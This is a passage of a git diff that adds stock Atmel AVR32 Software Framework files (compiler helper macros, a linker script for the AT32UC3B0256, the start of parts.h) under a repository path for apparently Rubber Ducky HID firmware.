+//! @{ + +/*! \brief Takes the absolute value of \a a. + * + * \param a Input value. + * + * \return Absolute value of \a a. + * + * \note More optimized if only used with values known at compile time. + */ +#define Abs(a) (((a) < 0 ) ? -(a) : (a)) + +/*! \brief Takes the minimal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Minimal value of \a a and \a b. + * + * \note More optimized if only used with values known at compile time. + */ +#define Min(a, b) (((a) < (b)) ? (a) : (b)) + +/*! \brief Takes the maximal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Maximal value of \a a and \a b. + * + * \note More optimized if only used with values known at compile time. + */ +#define Max(a, b) (((a) > (b)) ? (a) : (b)) + +/*! \brief Takes the absolute value of \a a. + * + * \param a Input value. + * + * \return Absolute value of \a a. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define abs(a) \ + (\ + {\ + int __value = (a);\ + __asm__ ("abs\t%0" : "+r" (__value) : : "cc");\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define abs(a) Abs(a) +#endif + +/*! \brief Takes the minimal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Minimal value of \a a and \a b. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define min(a, b) \ + (\ + {\ + int __value, __arg_a = (a), __arg_b = (b);\ + __asm__ ("min\t%0, %1, %2" : "=r" (__value) : "r" (__arg_a), "r" (__arg_b));\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define min(a, b) __min(a, b) +#endif + +/*! \brief Takes the maximal value of \a a and \a b. + * + * \param a Input value. + * \param b Input value. + * + * \return Maximal value of \a a and \a b. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define max(a, b) \ + (\ + {\ + int __value, __arg_a = (a), __arg_b = (b);\ + __asm__ ("max\t%0, %1, %2" : "=r" (__value) : "r" (__arg_a), "r" (__arg_b));\ + __value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define max(a, b) __max(a, b) +#endif + +//! @} + + +/*! \brief Calls the routine at address \a addr. + * + * It generates a long call opcode. + * + * For example, `Long_call(0x80000000)' generates a software reset on a UC3 if + * it is invoked from the CPU supervisor mode. + * + * \param addr Address of the routine to call. + * + * \note It may be used as a long jump opcode in some special cases. + */ +#define Long_call(addr) ((*(void (*)(void))(addr))()) + +/*! \brief Resets the CPU by software. + * + * \warning It shall not be called from the CPU application mode. + */ +#if (defined __GNUC__) + #define Reset_CPU() \ + (\ + {\ + __asm__ __volatile__ (\ + "lddpc r9, 3f\n\t"\ + "mfsr r8, %[SR]\n\t"\ + "bfextu r8, r8, %[SR_M_OFFSET], %[SR_M_SIZE]\n\t"\ + "cp.w r8, 0b001\n\t"\ + "breq 0f\n\t"\ + "sub r8, pc, $ - 1f\n\t"\ + "pushm r8-r9\n\t"\ + "rete\n"\ + "0:\n\t"\ + "mtsr %[SR], r9\n"\ + "1:\n\t"\ + "mov r0, 0\n\t"\ + "mov r1, 0\n\t"\ + "mov r2, 0\n\t"\ + "mov r3, 0\n\t"\ + "mov r4, 0\n\t"\ + "mov r5, 0\n\t"\ + "mov r6, 0\n\t"\ + "mov r7, 0\n\t"\ + "mov r8, 0\n\t"\ + "mov r9, 0\n\t"\ + "mov r10, 0\n\t"\ + "mov r11, 0\n\t"\ + "mov r12, 0\n\t"\ + "mov sp, 0\n\t"\ + "stdsp sp[0], sp\n\t"\ + "ldmts sp, sp\n\t"\ + "mov lr, 0\n\t"\ + "lddpc pc, 2f\n\t"\ + ".balign 4\n"\ + "2:\n\t"\ + ".word _start\n"\ + "3:\n\t"\ + ".word %[RESET_SR]"\ + :\ + : [SR] "i" (AVR32_SR),\ + [SR_M_OFFSET] "i" (AVR32_SR_M_OFFSET),\ + [SR_M_SIZE] "i" (AVR32_SR_M_SIZE),\ + [RESET_SR] "i" (AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))\ + );\ + }\ + ) +#elif (defined __ICCAVR32__) + #define Reset_CPU() \ + {\ + extern void *volatile __program_start;\ + __asm__ __volatile__ (\ + "mov r7, LWRD(__program_start)\n\t"\ + "orh r7, HWRD(__program_start)\n\t"\ + "mov r9, LWRD("ASTRINGZ(AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))")\n\t"\ + "orh r9, HWRD("ASTRINGZ(AVR32_SR_GM_MASK | AVR32_SR_EM_MASK | (AVR32_SR_M_SUP << AVR32_SR_M_OFFSET))")\n\t"\ + "mfsr r8, "ASTRINGZ(AVR32_SR)"\n\t"\ + "bfextu r8, r8, "ASTRINGZ(AVR32_SR_M_OFFSET)", "ASTRINGZ(AVR32_SR_M_SIZE)"\n\t"\ + "cp.w r8, 001b\n\t"\ + "breq $ + 10\n\t"\ + "sub r8, pc, -12\n\t"\ + "pushm r8-r9\n\t"\ + "rete\n\t"\ + "mtsr "ASTRINGZ(AVR32_SR)", r9\n\t"\ + "mov r0, 0\n\t"\ + "mov r1, 0\n\t"\ + "mov r2, 0\n\t"\ + "mov r3, 0\n\t"\ + "mov r4, 0\n\t"\ + "mov r5, 0\n\t"\ + "mov r6, 0\n\t"\ + "st.w r0[4], r7\n\t"\ + "mov r7, 0\n\t"\ + "mov r8, 0\n\t"\ + "mov r9, 0\n\t"\ + "mov r10, 0\n\t"\ + "mov r11, 0\n\t"\ + "mov r12, 0\n\t"\ + "mov sp, 0\n\t"\ + "stdsp sp[0], sp\n\t"\ + "ldmts sp, sp\n\t"\ + "mov lr, 0\n\t"\ + "ld.w pc, lr[4]"\ + );\ + __program_start;\ + } +#endif + + + +/*! \name CPU Status Register Access + */ +//! @{ + +/*! \brief Tells whether exceptions are globally enabled. + * + * \return \c 1 if exceptions are globally enabled, else \c 0. + */ +#define Is_global_exception_enabled() (!Tst_bits(Get_system_register(AVR32_SR), AVR32_SR_EM_MASK)) + +/*! \brief Disables exceptions globally. + */ +#if (defined __GNUC__) + #define Disable_global_exception() ({__asm__ __volatile__ ("ssrf\t%0" : : "i" (AVR32_SR_EM_OFFSET));}) +#elif (defined __ICCAVR32__) + #define Disable_global_exception() (__set_status_flag(AVR32_SR_EM_OFFSET)) +#endif + +/*! \brief Enables exceptions globally. + */ +#if (defined __GNUC__) + #define Enable_global_exception() ({__asm__ __volatile__ ("csrf\t%0" : : "i" (AVR32_SR_EM_OFFSET));}) +#elif (defined __ICCAVR32__) + #define Enable_global_exception() (__clear_status_flag(AVR32_SR_EM_OFFSET)) +#endif + +//! @} + + +/*! \name Debug Register Access + */ +//! @{ + +/*! \brief Gets the value of the \a dbgreg debug register. + * + * \param dbgreg Address of the debug register of which to get the value. + * + * \return Value of the \a dbgreg debug register. + */ +#if (defined __GNUC__) + #define Get_debug_register(dbgreg) __builtin_mfdr(dbgreg) +#elif (defined __ICCAVR32__) + #define Get_debug_register(dbgreg) __get_debug_register(dbgreg) +#endif + +/*! \brief Sets the value of the \a dbgreg debug register to \a value. + * + * \param dbgreg Address of the debug register of which to set the value. + * \param value Value to set the \a dbgreg debug register to. + */ +#if (defined __GNUC__) + #define Set_debug_register(dbgreg, value) __builtin_mtdr(dbgreg, value) +#elif (defined __ICCAVR32__) + #define Set_debug_register(dbgreg, value) __set_debug_register(dbgreg, value) +#endif + +//! @} + + +/*! \name Force Assembly Inline Code Section + */ +//! @{ +#if (defined __GNUC__) +#define __always_inline __attribute__((__always_inline__)) +#elif (defined __ICCAVR32__) +#define __always_inline _Pragma("inline=forced") +#endif +//! @} + +/*! \name MCU Endianism Handling + * AVR32 is MCU big endianism. + */ +//! @{ +#define MSB(u16) (((U8 *)&(u16))[0]) //!< Most significant byte of \a u16. +#define LSB(u16) (((U8 *)&(u16))[1]) //!< Least significant byte of \a u16. + +#define MSH(u32) (((U16 *)&(u32))[0]) //!< Most significant half-word of \a u32. +#define LSH(u32) (((U16 *)&(u32))[1]) //!< Least significant half-word of \a u32. +#define MSB0W(u32) (((U8 *)&(u32))[0]) //!< Most significant byte of 1st rank of \a u32. +#define MSB1W(u32) (((U8 *)&(u32))[1]) //!< Most significant byte of 2nd rank of \a u32. +#define MSB2W(u32) (((U8 *)&(u32))[2]) //!< Most significant byte of 3rd rank of \a u32. +#define MSB3W(u32) (((U8 *)&(u32))[3]) //!< Most significant byte of 4th rank of \a u32. +#define LSB3W(u32) MSB0W(u32) //!< Least significant byte of 4th rank of \a u32. +#define LSB2W(u32) MSB1W(u32) //!< Least significant byte of 3rd rank of \a u32. +#define LSB1W(u32) MSB2W(u32) //!< Least significant byte of 2nd rank of \a u32. +#define LSB0W(u32) MSB3W(u32) //!< Least significant byte of 1st rank of \a u32. + +#define MSW(u64) (((U32 *)&(u64))[0]) //!< Most significant word of \a u64. +#define LSW(u64) (((U32 *)&(u64))[1]) //!< Least significant word of \a u64. +#define MSH0(u64) (((U16 *)&(u64))[0]) //!< Most significant half-word of 1st rank of \a u64. +#define MSH1(u64) (((U16 *)&(u64))[1]) //!< Most significant half-word of 2nd rank of \a u64. +#define MSH2(u64) (((U16 *)&(u64))[2]) //!< Most significant half-word of 3rd rank of \a u64. +#define MSH3(u64) (((U16 *)&(u64))[3]) //!< Most significant half-word of 4th rank of \a u64. +#define LSH3(u64) MSH0(u64) //!< Least significant half-word of 4th rank of \a u64. +#define LSH2(u64) MSH1(u64) //!< Least significant half-word of 3rd rank of \a u64. +#define LSH1(u64) MSH2(u64) //!< Least significant half-word of 2nd rank of \a u64. +#define LSH0(u64) MSH3(u64) //!< Least significant half-word of 1st rank of \a u64. +#define MSB0D(u64) (((U8 *)&(u64))[0]) //!< Most significant byte of 1st rank of \a u64. +#define MSB1D(u64) (((U8 *)&(u64))[1]) //!< Most significant byte of 2nd rank of \a u64. +#define MSB2D(u64) (((U8 *)&(u64))[2]) //!< Most significant byte of 3rd rank of \a u64. +#define MSB3D(u64) (((U8 *)&(u64))[3]) //!< Most significant byte of 4th rank of \a u64. +#define MSB4D(u64) (((U8 *)&(u64))[4]) //!< Most significant byte of 5th rank of \a u64. +#define MSB5D(u64) (((U8 *)&(u64))[5]) //!< Most significant byte of 6th rank of \a u64. +#define MSB6D(u64) (((U8 *)&(u64))[6]) //!< Most significant byte of 7th rank of \a u64. +#define MSB7D(u64) (((U8 *)&(u64))[7]) //!< Most significant byte of 8th rank of \a u64. +#define LSB7D(u64) MSB0D(u64) //!< Least significant byte of 8th rank of \a u64. +#define LSB6D(u64) MSB1D(u64) //!< Least significant byte of 7th rank of \a u64. +#define LSB5D(u64) MSB2D(u64) //!< Least significant byte of 6th rank of \a u64. +#define LSB4D(u64) MSB3D(u64) //!< Least significant byte of 5th rank of \a u64. +#define LSB3D(u64) MSB4D(u64) //!< Least significant byte of 4th rank of \a u64. +#define LSB2D(u64) MSB5D(u64) //!< Least significant byte of 3rd rank of \a u64. +#define LSB1D(u64) MSB6D(u64) //!< Least significant byte of 2nd rank of \a u64. +#define LSB0D(u64) MSB7D(u64) //!< Least significant byte of 1st rank of \a u64. + +#define LE16(x) Swap16(x) +#define le16_to_cpu(x) swap16(x) +#define cpu_to_le16(x) swap16(x) +#define LE16_TO_CPU(x) Swap16(x) +#define CPU_TO_LE16(x) Swap16(x) + +#define be16_to_cpu(x) (x) +#define cpu_to_be16(x) (x) +#define BE16_TO_CPU(x) (x) +#define CPU_TO_BE16(x) (x) + +#define le32_to_cpu(x) swap32(x) +#define cpu_to_le32(x) swap32(x) +#define LE32_TO_CPU(x) Swap32(x) +#define CPU_TO_LE32(x) Swap32(x) + +#define be32_to_cpu(x) (x) +#define cpu_to_be32(x) (x) +#define BE32_TO_CPU(x) (x) +#define CPU_TO_BE32(x) (x) +//! @} + + +/*! \name Endianism Conversion + * + * The same considerations as for clz and ctz apply here but AVR32-GCC's + * __builtin_bswap_16 and __builtin_bswap_32 do not behave like macros when + * applied to constant expressions, so two sets of macros are defined here: + * - Swap16, Swap32 and Swap64 to apply to constant expressions (values known + * at compile time); + * - swap16, swap32 and swap64 to apply to non-constant expressions (values + * unknown at compile time). + */ +//! @{ + +/*! \brief Toggles the endianism of \a u16 (by swapping its bytes). + * + * \param u16 U16 of which to toggle the endianism. + * + * \return Value resulting from \a u16 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap16(u16) ((U16)(((U16)(u16) >> 8) |\ + ((U16)(u16) << 8))) + +/*! \brief Toggles the endianism of \a u32 (by swapping its bytes). + * + * \param u32 U32 of which to toggle the endianism. + * + * \return Value resulting from \a u32 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap32(u32) ((U32)(((U32)Swap16((U32)(u32) >> 16)) |\ + ((U32)Swap16((U32)(u32)) << 16))) + +/*! \brief Toggles the endianism of \a u64 (by swapping its bytes). + * + * \param u64 U64 of which to toggle the endianism. + * + * \return Value resulting from \a u64 with toggled endianism. + * + * \note More optimized if only used with values known at compile time. + */ +#define Swap64(u64) ((U64)(((U64)Swap32((U64)(u64) >> 32)) |\ + ((U64)Swap32((U64)(u64)) << 32))) + +/*! \brief Toggles the endianism of \a u16 (by swapping its bytes). + * + * \param u16 U16 of which to toggle the endianism. + * + * \return Value resulting from \a u16 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) +# if (!defined __OPTIMIZE_SIZE__) || !__OPTIMIZE_SIZE__ + #define swap16(u16) ((U16)__builtin_bswap_16((U16)(u16))) +# else + // swap_16 must be not used when GCC's -Os command option is used + #define swap16(u16) Swap16(u16) +# endif +#elif (defined __ICCAVR32__) + #define swap16(u16) ((U16)__swap_bytes_in_halfwords((U16)(u16))) +#endif + +/*! \brief Toggles the endianism of \a u32 (by swapping its bytes). + * + * \param u32 U32 of which to toggle the endianism. + * + * \return Value resulting from \a u32 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#if (defined __GNUC__) + #define swap32(u32) ((U32)__builtin_bswap_32((U32)(u32))) +#elif (defined __ICCAVR32__) + #define swap32(u32) ((U32)__swap_bytes((U32)(u32))) +#endif + +/*! \brief Toggles the endianism of \a u64 (by swapping its bytes). + * + * \param u64 U64 of which to toggle the endianism. + * + * \return Value resulting from \a u64 with toggled endianism. + * + * \note More optimized if only used with values unknown at compile time. + */ +#define swap64(u64) ((U64)(((U64)swap32((U64)(u64) >> 32)) |\ + ((U64)swap32((U64)(u64)) << 32))) + +//! @} + + +/*! \name Target Abstraction + */ +//! @{ + +#define _GLOBEXT_ extern //!< extern storage-class specifier. +#define _CONST_TYPE_ const //!< const type qualifier. +#define _MEM_TYPE_SLOW_ //!< Slow memory type. +#define _MEM_TYPE_MEDFAST_ //!< Fairly fast memory type. +#define _MEM_TYPE_FAST_ //!< Fast memory type. + +typedef U8 Byte; //!< 8-bit unsigned integer. + +#define memcmp_ram2ram memcmp //!< Target-specific memcmp of RAM to RAM. +#define memcmp_code2ram memcmp //!< Target-specific memcmp of RAM to NVRAM. +#define memcpy_ram2ram memcpy //!< Target-specific memcpy from RAM to RAM. +#define memcpy_code2ram memcpy //!< Target-specific memcpy from NVRAM to RAM. + +#define LSB0(u32) LSB0W(u32) //!< Least significant byte of 1st rank of \a u32. +#define LSB1(u32) LSB1W(u32) //!< Least significant byte of 2nd rank of \a u32. +#define LSB2(u32) LSB2W(u32) //!< Least significant byte of 3rd rank of \a u32. +#define LSB3(u32) LSB3W(u32) //!< Least significant byte of 4th rank of \a u32. +#define MSB3(u32) MSB3W(u32) //!< Most significant byte of 4th rank of \a u32. +#define MSB2(u32) MSB2W(u32) //!< Most significant byte of 3rd rank of \a u32. +#define MSB1(u32) MSB1W(u32) //!< Most significant byte of 2nd rank of \a u32. +#define MSB0(u32) MSB0W(u32) //!< Most significant byte of 1st rank of \a u32. + +//! @} + +#endif // __AVR32_ABI_COMPILER__ + + +#endif // _COMPILER_AVR32_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds new file mode 100755 index 0000000..6597b59 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds @@ -0,0 +1,266 @@ +/****************************************************************************** + * AVR32 AT32UC3B0256 GNU LD script file. + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: AVR32 AT32UC3B0256 + * + * - author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +OUTPUT_FORMAT("elf32-avr32", "elf32-avr32", "elf32-avr32") + +OUTPUT_ARCH(avr32:uc) + +ENTRY(_trampoline) + +MEMORY +{ + FLASH (rxai!w) : ORIGIN = 0x80000000, LENGTH = 0x00040000 + INTRAM (wxa!ri) : ORIGIN = 0x00000004, LENGTH = 0x00007FFC + USERPAGE : ORIGIN = 0x80800000, LENGTH = 0x00000200 +} + +PHDRS +{ + FLASH PT_LOAD; + INTRAM_ALIGN PT_NULL; + INTRAM_AT_FLASH PT_LOAD; + INTRAM PT_NULL; + USERPAGE PT_LOAD; +} + +SECTIONS +{ + /* If this heap size is selected, all the INTRAM space from the end of the + data area to the beginning of the stack will be allocated for the heap. */ + __max_heap_size__ = -1; + + /* Use a default heap size if heap size was not defined. */ + __heap_size__ = DEFINED(__heap_size__) ? __heap_size__ : __max_heap_size__; + + /* Use a default stack size if stack size was not defined. */ + __stack_size__ = DEFINED(__stack_size__) ? __stack_size__ : 4K; + + /* Read-only sections, merged into text segment: */ + PROVIDE (__executable_start = 0x80000000); . = 0x80000000; + .interp : { *(.interp) } >FLASH AT>FLASH :FLASH + .reset : { *(.reset) } >FLASH AT>FLASH :FLASH + .hash : { *(.hash) } >FLASH AT>FLASH :FLASH + .dynsym : { *(.dynsym) } >FLASH AT>FLASH :FLASH + .dynstr : { *(.dynstr) } >FLASH AT>FLASH :FLASH + .gnu.version : { *(.gnu.version) } >FLASH AT>FLASH :FLASH + .gnu.version_d : { *(.gnu.version_d) } >FLASH AT>FLASH :FLASH + .gnu.version_r : { *(.gnu.version_r) } >FLASH AT>FLASH :FLASH + .rel.init : { *(.rel.init) } >FLASH AT>FLASH :FLASH + .rela.init : { *(.rela.init) } >FLASH AT>FLASH :FLASH + .rel.text : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) } >FLASH AT>FLASH :FLASH + .rela.text : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) } >FLASH AT>FLASH :FLASH + .rel.fini : { *(.rel.fini) } >FLASH AT>FLASH :FLASH + .rela.fini : { *(.rela.fini) } >FLASH AT>FLASH :FLASH + .rel.rodata : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rela.rodata : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rel.data.rel.ro : { *(.rel.data.rel.ro*) } >FLASH AT>FLASH :FLASH + .rela.data.rel.ro : { *(.rel.data.rel.ro*) } >FLASH AT>FLASH :FLASH + .rel.data : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) } >FLASH AT>FLASH :FLASH + .rela.data : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) } >FLASH AT>FLASH :FLASH + .rel.tdata : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) } >FLASH AT>FLASH :FLASH + .rela.tdata : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) } >FLASH AT>FLASH :FLASH + .rel.tbss : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) } >FLASH AT>FLASH :FLASH + .rela.tbss : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) } >FLASH AT>FLASH :FLASH + .rel.ctors : { *(.rel.ctors) } >FLASH AT>FLASH :FLASH + .rela.ctors : { *(.rela.ctors) } >FLASH AT>FLASH :FLASH + .rel.dtors : { *(.rel.dtors) } >FLASH AT>FLASH :FLASH + .rela.dtors : { *(.rela.dtors) } >FLASH AT>FLASH :FLASH + .rel.got : { *(.rel.got) } >FLASH AT>FLASH :FLASH + .rela.got : { *(.rela.got) } >FLASH AT>FLASH :FLASH + .rel.bss : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) } >FLASH AT>FLASH :FLASH + .rela.bss : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) } >FLASH AT>FLASH :FLASH + .rel.plt : { *(.rel.plt) } >FLASH AT>FLASH :FLASH + .rela.plt : { *(.rela.plt) } >FLASH AT>FLASH :FLASH + .init : + { + KEEP (*(.init)) + } >FLASH AT>FLASH :FLASH =0xd703d703 + .plt : { *(.plt) } >FLASH AT>FLASH :FLASH + .text : + { + *(.text .stub .text.* .gnu.linkonce.t.*) + KEEP (*(.text.*personality*)) + /* .gnu.warning sections are handled specially by elf32.em. */ + *(.gnu.warning) + } >FLASH AT>FLASH :FLASH =0xd703d703 + .fini : + { + KEEP (*(.fini)) + } >FLASH AT>FLASH :FLASH =0xd703d703 + PROVIDE (__etext = .); + PROVIDE (_etext = .); + PROVIDE (etext = .); + .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rodata1 : { *(.rodata1) } >FLASH AT>FLASH :FLASH + .eh_frame_hdr : { *(.eh_frame_hdr) } >FLASH AT>FLASH :FLASH + .eh_frame : ONLY_IF_RO { KEEP (*(.eh_frame)) } >FLASH AT>FLASH :FLASH + .gcc_except_table : ONLY_IF_RO { KEEP (*(.gcc_except_table)) *(.gcc_except_table.*) } >FLASH AT>FLASH :FLASH + .lalign : { . = ALIGN(8); PROVIDE(_data_lma = .); } >FLASH AT>FLASH :FLASH + . = ORIGIN(INTRAM); + .dalign : { . = ALIGN(8); PROVIDE(_data = .); } >INTRAM AT>INTRAM :INTRAM_ALIGN + /* Exception handling */ + .eh_frame : ONLY_IF_RW { KEEP (*(.eh_frame)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .gcc_except_table : ONLY_IF_RW { KEEP (*(.gcc_except_table)) *(.gcc_except_table.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + /* Thread Local Storage sections */ + .tdata : { *(.tdata .tdata.* .gnu.linkonce.td.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .tbss : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + /* Ensure the __preinit_array_start label is properly aligned. We + could instead move the label definition inside the section, but + the linker would then create the section even if it turns out to + be empty, which isn't pretty. */ + PROVIDE (__preinit_array_start = ALIGN(32 / 8)); + .preinit_array : { KEEP (*(.preinit_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__preinit_array_end = .); + PROVIDE (__init_array_start = .); + .init_array : { KEEP (*(.init_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__init_array_end = .); + PROVIDE (__fini_array_start = .); + .fini_array : { KEEP (*(.fini_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__fini_array_end = .); + .ctors : + { + /* gcc uses crtbegin.o to find the start of + the constructors, so we make sure it is + first. Because this is a wildcard, it + doesn't matter if the user does not + actually link against crtbegin.o; the + linker won't look for a file to match a + wildcard. The wildcard also means that it + doesn't matter which directory crtbegin.o + is in. */ + KEEP (*crtbegin*.o(.ctors)) + /* We don't want to include the .ctor section from + from the crtend.o file until after the sorted ctors. + The .ctor section from the crtend file contains the + end of ctors marker and it must be last */ + KEEP (*(EXCLUDE_FILE (*crtend*.o ) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*(.ctors)) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .dtors : + { + KEEP (*crtbegin*.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend*.o ) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*(.dtors)) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .jcr : { KEEP (*(.jcr)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data.rel.ro : { *(.data.rel.ro.local) *(.data.rel.ro*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .dynamic : { *(.dynamic) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .got : { *(.got.plt) *(.got) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .ramtext : { *(.ramtext .ramtext.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .ddalign : { . = ALIGN(8); } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data : + { + *(.data .data.* .gnu.linkonce.d.*) + KEEP (*(.gnu.linkonce.d.*personality*)) + SORT(CONSTRUCTORS) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data1 : { *(.data1) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .balign : { . = ALIGN(8); PROVIDE(_edata = .); } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (edata = .); + __bss_start = .; + .bss : + { + *(.dynbss) + *(.bss .bss.* .gnu.linkonce.b.*) + *(COMMON) + /* Align here to ensure that the .bss section occupies space up to + _end. Align after .bss to ensure correct alignment even if the + .bss section disappears because there are no input sections. */ + . = ALIGN(8); + } >INTRAM AT>INTRAM :INTRAM + . = ALIGN(8); + _end = .; + PROVIDE (end = .); + __heap_start__ = ALIGN(8); + .heap : + { + *(.heap) + . = (__heap_size__ == __max_heap_size__) ? + ORIGIN(INTRAM) + LENGTH(INTRAM) - __stack_size__ - ABSOLUTE(.) : + __heap_size__; + } >INTRAM AT>INTRAM :INTRAM + __heap_end__ = .; + /* Stabs debugging sections. */ + .stab 0 : { *(.stab) } + .stabstr 0 : { *(.stabstr) } + .stab.excl 0 : { *(.stab.excl) } + .stab.exclstr 0 : { *(.stab.exclstr) } + .stab.index 0 : { *(.stab.index) } + .stab.indexstr 0 : { *(.stab.indexstr) } + .comment 0 : { *(.comment) } + /* DWARF debug sections. + Symbols in the DWARF debugging sections are relative to the beginning + of the section so we begin them at 0. */ + /* DWARF 1 */ + .debug 0 : { *(.debug) } + .line 0 : { *(.line) } + /* GNU DWARF 1 extensions */ + .debug_srcinfo 0 : { *(.debug_srcinfo) } + .debug_sfnames 0 : { *(.debug_sfnames) } + /* DWARF 1.1 and DWARF 2 */ + .debug_aranges 0 : { *(.debug_aranges) } + .debug_pubnames 0 : { *(.debug_pubnames) } + /* DWARF 2 */ + .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) } + .debug_abbrev 0 : { *(.debug_abbrev) } + .debug_line 0 : { *(.debug_line) } + .debug_frame 0 : { *(.debug_frame) } + .debug_str 0 : { *(.debug_str) } + .debug_loc 0 : { *(.debug_loc) } + .debug_macinfo 0 : { *(.debug_macinfo) } + /* SGI/MIPS DWARF 2 extensions */ + .debug_weaknames 0 : { *(.debug_weaknames) } + .debug_funcnames 0 : { *(.debug_funcnames) } + .debug_typenames 0 : { *(.debug_typenames) } + .debug_varnames 0 : { *(.debug_varnames) } + .stack ORIGIN(INTRAM) + LENGTH(INTRAM) - __stack_size__ : + { + _stack = .; + *(.stack) + . = __stack_size__; + _estack = .; + } >INTRAM AT>INTRAM :INTRAM + .userpage : { *(.userpage .userpage.*) } >USERPAGE AT>USERPAGE :USERPAGE + /DISCARD/ : { *(.note.GNU-stack) } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/parts.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/parts.h new file mode 100755 index 0000000..69e3d05 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/parts.h @@ -0,0 +1,243 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Arch file for AVR32. + * + * This file defines 